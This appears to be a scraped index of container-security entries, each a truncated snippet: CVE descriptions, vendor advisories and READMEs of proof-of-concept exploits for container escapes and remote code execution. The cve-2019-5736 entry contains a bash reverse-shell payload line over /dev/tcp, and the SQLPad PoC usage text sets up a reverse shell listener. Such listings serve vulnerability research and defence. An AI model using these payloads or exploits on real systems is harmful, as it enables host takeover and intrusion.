CVE-2026-5555-Container-Escape-via-proc-self-fd-Symlink-in-Shared-Volume

CVE-2026-5555 – 通过 /proc/self/fd 符号链接实现容器逃逸 概述 使用 rshared 传播方式挂载的共享卷允许恶意容器通过 /proc/self/fd 创建指向主机文件的符号链接。向该卷写入数据的主机进程会跟随该符号链接，覆盖关键主机文件，从而实现容器逃逸。 漏洞详情 类型： 容器逃逸 / 符号链接攻击 影响： 覆盖主机文件，可在主机上提权至 root。 根本原因： 容器运行时未能阻止攻击者通过 procfs 技巧创建指向容器挂载命名空间之外的符号链接。 漏洞利用演示 1. 启动模拟的主机日志服务： python...

CVE-2022-0944

CVE-2022-0944 针对 SQLPad RCE（CVE-2022-0944） 的概念验证漏洞利用程序 用法 usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password login password option...

CVE-2026-93317

A flaw was found in BuildKit. An unauthenticated remote attacker controlling a container registry or Open Container Initiative OCI blob source can provide data that does not match its claimed cryptographic digest. Because BuildKit caches the resulting snapshot under the claimed digest, subsequent...

CVE-2026-93316

A flaw was found in BuildKit. This vulnerability allows an authenticated user to cause a Denial of Service DoS by crashing the daemon. When the BuildKit daemon is started with Container Device Interface CDI support disabled, submitting a build that attempts to use CDI devices triggers an unhandle...

Important: Red Hat Security Advisory: Red Hat Single Sign-On 7.6.13 for OpenShift image security update

A new image is available for Red Hat Single Sign-On 7.6.13, running on OpenShift Container Platform 3.10 and 3.11, and 4.3. Red Hat Single Sign-On is an integrated sign-on solution, available as a Red Hat JBoss Middleware for OpenShift containerized image. The Red Hat Single Sign-On for OpenShift...

CVE-2022-0492-Container-Escape

CVE-2022-0492-Container-Escape CVE-2022-0492-Container-Escape 通过go实现 参考链接： https://github.com/chenaotian/CVE-2022-0492 https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/...

CVE-2026-93317

The buildkit software (referenced via the Moby project) is vulnerable to a flaw where an unauthenticated attacker controlling a registry or OCI-layout blob source can provide blob contents that do not match the claimed digest. This allows the resulting snapshot to be cached under the incorrect di...

CVE-2026-93317 Container blob cache can accept unverified content

An unauthenticated attacker controlling a registry or OCI-layout blob source could provide blob contents that did not match the claimed digest. The resulting snapshot could be cached under that digest and reused by a later victim build, compromising build-input integrity...

cve-2019-5736-poc

追加すべきヘッダー stage2.c bash include bash include 攻撃者PCのIPに修正 stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Dockerイメージおよびコンテナの作成 $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak...

CVE-2025-9074-PoC

Docker APIの認証不要RCE CVE-2025-9074 Docker Desktopの重要な脆弱性CVE-2025-9074により、ローカルで実行されているLinuxコンテナが、デフォルトサブネット（192.168.65.7:2375）を介してDocker Engine APIに接続できるようになります。この問題は、Enhanced Container...

Important: Red Hat Security Advisory: Red Hat Enterprise Linux AI 3.3.7 security update

Updated Red Hat Enterprise Linux AI 3.3.7 container disk images are now available. Red Hat® Enterprise Linux® AI is a foundation model platform to seamlessly develop, test, and run Granite family large language models LLMs for enterprise applications. This update provides the latest Red Hat...

Important: Red Hat Security Advisory: Red Hat Enterprise Linux AI 3.3.7 security update

Updated Red Hat Enterprise Linux AI 3.3.7 container images are now available. Red Hat® Enterprise Linux® AI is a foundation model platform to seamlessly develop, test, and run Granite family large language models LLMs for enterprise applications. This update provides the latest Red Hat Enterprise...

CVE-2025-32375

漏洞版本设置 启动漏洞容器： docker compose up 创建一个监听器（例如 ncat）： ncat -klnv 1337 运行漏洞利用程序： python3 exploit.py 如果一切正常，你应该会在 ncat 窗口中收到一个 HTTP 请求，其中包含 OS 命令（默认情况下为 id）的执行结果。 致谢 漏洞发现者：SeaW1nd 基于 VickyTheViking 的测试环境设置...

CVE-2026-27771

CVE-2026-27771 — Gitea 容器注册表认证绕过 CVSS: 暂无（未公布） 影响范围： Gitea 免责声明： 此概念验证仅用于教育和授权的安全研究目的。未经授权访问计算机系统是非法的。作者不对任何滥用此代码的行为负责。请仅对您拥有或已获得明确许可的系统进行测试。 概述 未经身份验证的远程攻击者可以从 Gitea 实例中拉取私有 容器镜像。OCI 分发规范 API 端点（/v2//manifests/、/v2//blobs/）会向幽灵/匿名用户（UserID: -1）提供服务，而不会检查容器软件包所有者的可见性（私有/受限/公开）。 NoScope 在 30...

poc-cve-2024-0132

poc-cve-2024-0132 复现环境： 操作系统：Ubuntu 22.04 搭配 NVIDIA 驱动 Docker：v27.1.0 nvidia-container-toolkit：v1.16.1 复现步骤： 运行 POC 容器镜像 目标： 在容器内访问主机文件 通过容器内的 docker.sock 调用 Docker 守护进程 API 复现 使用预构建的 POC 镜像 ssst0n3/poc-cve-2024-0132，或自行从源码构建。 root@wanglei-gpu3: git clone...

CVE-2022-0847-Container-Escape

CVE-2022-0847-Container-Escape CVE-2022-0847 用于实现容器逃逸 利用CVE-2022-0847 Dirty Pipe 实现容器逃逸 使用go语言实现...

Dell has uncovered vulnerabilities in container storage modules

Dell has addressed the vulnerabilities in Container Storage Modules version 1.18.0 and later. These vulnerabilities reside in Dell Container Storage Modules CSM, which are used for integrating Dell storage systems with container platforms such as Kubernetes and OpenShift. The identified...

CVE-2025-23266

CVE-2025-23266 CVE-2025-23266 – 全武器化的NVIDIA容器工具包漏洞利用 参考 https://github.com/ctrsploit/ctrsploit/tree/public/vul/cve-2025-23266...

day09-bentoml-deser-lab

Day 09 — CVE-2025-27520（BentoML 风格的不安全反序列化）— 本地 Docker 实验环境 本实验重现了导致 CVE-2025-27520 的不安全反序列化类别。 它特意含有漏洞，仅供教育目的。请仅在 Docker 中本地运行。 快速开始 构建并运行： docker build -t day09-bentoml-lab . docker run --rm -d -p 8080:8080 --name day09 day09-bentoml-lab...

CVE-2017-13089

CVE-2017-13089 wget v1.19.1 用于漏洞利用开发。 注意 这不是一个可用的漏洞利用——正在开发中。 使用方法 构建容器 docker build -t cve201713089 . 或者 ... docker pull robertcolejensen/cve201713089 在容器中操作，src 将会挂载到 /opt/CVE-2017-13089/src ./run.sh 开发漏洞利用，使用外部调试符号运行 gdb ./run.sh dev 运行包含的 DoS 概念验证 ./run.sh dos 运行包含的漏洞利用概念验证（开发中） ./run.sh...